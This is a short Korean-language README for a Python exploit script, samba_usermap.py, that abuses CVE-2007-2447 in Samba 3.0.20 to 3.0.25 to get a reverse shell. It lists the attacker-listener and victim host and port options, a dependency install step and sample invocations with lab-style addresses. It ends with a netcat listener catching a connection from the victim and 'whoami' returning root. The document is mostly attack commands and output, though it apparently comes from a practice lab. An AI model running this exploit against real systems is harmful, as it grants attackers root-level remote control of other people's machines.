이 익스플로잇은 Samba 3.0.20 < 3.0.25를 악용하여 리버스 셸을 획득하는 데 도움을 줍니다

· python3로 스크립트를 --help 매개변수와 함께 실행하면 일련의 매개변수를 요청합니다

 --lhost LHOST  사용자 호스트   (셸을 수신할 IP)
 --lport LPORT  사용자 포트   (셸을 수신할 포트)
 --rhost RHOST  원격 호스트  (피해자 머신의 IP)
 --rport RPORT  원격 포트  (피해자 머신의 포트)

· 스크립트를 실행하기 전에 다음을 수행하세요

pip3 install pysmb

· 예시

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· 또는 다음과 같이 할 수 있습니다.

python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· 스크립트 작동 방식의 예시

python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· 셸을 수신합니다

❯ nc -nlvp 443
  listening on [any] 443 ...
  connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
  whoami
  root

CVE-2007-2447-RCE